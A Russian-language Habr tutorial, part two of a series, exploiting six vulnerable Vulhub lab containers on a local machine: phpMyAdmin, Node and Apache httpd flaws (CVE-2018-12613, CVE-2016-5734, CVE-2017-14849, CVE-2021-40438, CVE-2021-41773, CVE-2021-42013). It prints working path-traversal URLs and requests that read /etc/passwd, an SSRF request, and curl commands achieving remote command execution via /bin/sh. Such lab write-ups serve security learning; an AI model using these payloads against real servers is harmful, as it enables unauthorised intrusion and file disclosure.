Атака на некоторые уязвимые веб-приложения Vulnhub. Эксплуатация уязвимостей. Часть 2
Всех приветствую читатели Хабра
Сегодня я снова поделюсь опытом анализа защищенности веб-приложений Vulnhub. Вот ссылка на первую часть https://habr.com/ru/articles/894508/
Примечание
Правовая информация:
Данная статья создана исключительно в ознакомительных/образовательных/развивающих целях.
Автор статьи не несет ответственности за ваши действия.
Автор статьи ни к чему не призывает, более того напоминаю о существовании некоторых статей в уголовном кодексе РФ, их никто не отменял:
УК РФ Статья 272. Неправомерный доступ к компьютерной информации
УК РФ Статья 273. Создание, использование и распространение вредоносных компьютерных программ
УК РФ Статья 274. Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации и информационно-телекоммуникационных сетей
Все атаки я проводил на локальный сервер, внутри моего сетевого интерфейса, на моем компьютере, то есть все действия легитимны
И как всегда просьба не переходить на личности в коментариях, если вы обнаружил ошибку недочет или неточность просто без оскорблений напишите комментарий или напишите мне личным сообщением
В прошлой статье я описывал как устанавливать docker-compose и как поднимать машины на интерфейсе. Также там была ссылка на гитхаб где можно скачать данные машины. Очень рекомендую сначала ознакомиться с прошлой статьей. В этой статье я коснусь только запуска машин.
Алгоритм атаки будет прежний, за исключением энумерации, в этих примерах ее не будет:
Запуск виртуальной машнины (уязвимого веб-приложения) в сетевом интерфейсе
Поиск ip-адреса локального хоста, бриджа (бридж-сетевой мост, некоторые машины в примерах ниже будут на бриджах) в сетевом интерфейсе. Сканирование цели
Эксплуатация уязвимости. Либо ее обнаружение без эксплуатации. Тут примеров и техник как и программ масса
Перейдем к практике. Две машины phpmyadmin, одна машина node, три машины httpd
I. Первая машина phpmyadmin, уязвимость CVE-2018–12613
Как всегда запускаем машину перейдя в каталог с файлом сраширением .yml введя команды в терминале каталога:
sudo docker-compose build
sudo docker-compose up -d
ifconfig
Просканируем ip адрес бриджа (сетевого моста) на котором запущенна машина:
nmap 172.22.0.1
whatweb 172.22.0.1
Открыт порт 80, видно запущенные службы, сервисы, движки итд
Теперь зайдем на сайт Exploit-DB https://www.exploit-db.com/ и введем CVE-2018–12613 или 2018–12613. На сайте есть аж 4 эксплоита
Поскольку порт на машине 80 (я подправил в данном случае для удобства конфигурационный файл докера) просто введем адрес 172.22.0.1 в адреснуя строку браузера. Пароль и логин от страница авторизации root root. Далее открывается главная страница
Далее в адресной строке к значению http://локальный_ip: порт нужно добавить правильную строку, и вот она
/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
То есть
http://локальный_ip:порт/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
После чего сразу откроется доступ к файлу /etc/passwd
Как я уже отмечал в первой части, доступ к содержимому данного файла — серьезная брешь в безопасности системы
II. Вторая машина phpmyadmin, уязвимость CVE-2016–5734
Не забываем закрыть предидущую машину в предидущей директории командой
sudo docker-compose down
Переходим в папку с новой уязвимой машиной открываем в папке терминал и снова вводим команды сборки и запуска машины (третья команда по традиции для просмотра всех сетевых интерфейсов):
sudo docker-compose build
sudo docker-compose up -d
ifconfig
И снова машина запущена на бридже, просканируем его:
nmap 172.23.0.1
whatweb 172.23.0.1
И снова заходим по ip в браузер авторизуемся парой логин-пароль root root
Далее снова Exploit-DB https://www.exploit-db.com/exploits/40185/ на нем необходимый мне эксплоит. Просто копирую его
А затем создаю скрипт на питоне в директории откуда «веду атаку»:
nano attack.py
Запускаю скрипт таким образом:
python3 attack.py -c 'system(id);' -u root -p root -d test http://ip_уязвимой_машины:80
И вижу ответ сервера — идентификаторы пользователей и групп, что так же является брешью в безопасности как упоминалось в первой части.
III. Третья машина node, уязвимость CVE-2017–14849
Снова роняю старую машину, запускаю настоящую, проверяю сетевой интерфейс
Сканирую бридж машины
nmap 172.28.0.1curl http://172.28.0.1:3000
Curl-ом проверил готовность сервера — ответ есть, порт 3000, как нам подсказал nmap
Далее открываю инструмент burp suite перехожу во вкладку прокси, нажимаю перехват пакетов intercept on жму кнопку открыть браузер
После чего открывается браузер и в адресной строке пишу искомый адрес 172.28.0.1:3000
Возвращаюсь в burp жму правой кнопкой мыши по перехваченному пакету, отправлю в репитор (send to repeater), захожу в репитер
Далее врепитере стандартный request необходимо заменить очень специфичным запросом. Вот он:
GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: your-ip:3000
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
После чего нажимаю send и сервер отвечает (HTTP 200 OK), да еще как отвечает! Снова доступ к файлу /etc/passwd
IV. Четвертая машина httpd, уязвимость CVE-2021–40438
Снова роняю старую машину запускаю новую итд…
Новая машина запущена на бридже 172.19.0.1. Сканирую
nmap 172.19.0.1
После чего открываю burp suite → вкладка прокси → включаю захват пакетов → открываю браузер → ввожу в адресную строку ip-бриджа: порт_который_я_вяснил_nmap-ом (8080) → снова захожу в burp → скидываю перехваченное в репитер → захожу в репитер.
Далее внимательно!
Снова нужно подменить реквест, причем запрос снова крайне специфичен:
GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://example.com/ HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
После чего нажимаем Send — оправить. И эта непонятная странная абракадабра — работает — сервер ответил — 200 OK.
Такой тип уязвимости называется SSRF — Server-Side Request Forgery — уязвимость позволяет удаленному, неаутентифицированному злоумышленнику заставить сервер httpd пересылать запросы на произвольный сервер. Очень серьезный тип атаки.
V. Пятая машина httpd, уязвимость CVE-2021–41773
Снова все теже действия: роняю старую машину запускаю новую…
Бридж 172.19.0.1, машина на нем. Сканирую
nmap 172.19.0.1
Захожу в браузер по адресу 172.19.0.1:8080
Далее эксплойт. Суть такова: необходимо сделать верный запрос curl в терминале:
curl -v --path-as-is http://172.19.0.1:8080/icons/../../../../etc/passwd
И снова доступ к упомянутому /etc/passwd
Уязвимость проэксплуатирована.
V. Шестая машина httpd, уязвимость CVE-2021–42013
В шестой все теже действия: роняю старую машину запускаю новую… Правда в этот раз методом проб и ошибок выяснилось, что уязвимая машина запушена на 192.168.64.1. Произошло это в виду того, что мне пришлось скомутировать своюсеть иначе, так как в тот момент с роутером случились проблемы
Сканирую машину:
nmap 192.168.64.1
И сразу же первый эксплоит — снова запрос curl:
curl -v --path-as-is http://192.168.64.1:8080/icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
Далее при помощи того же curl узнаем идентификаторы пользователей и групп — вторая уязвимость:
curl -v --data "echo;id" 'http://192.168.64.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh'
Сразу две уязвимости!
На сегодня все, уважаемые читатели Хабра, до новых встреч!
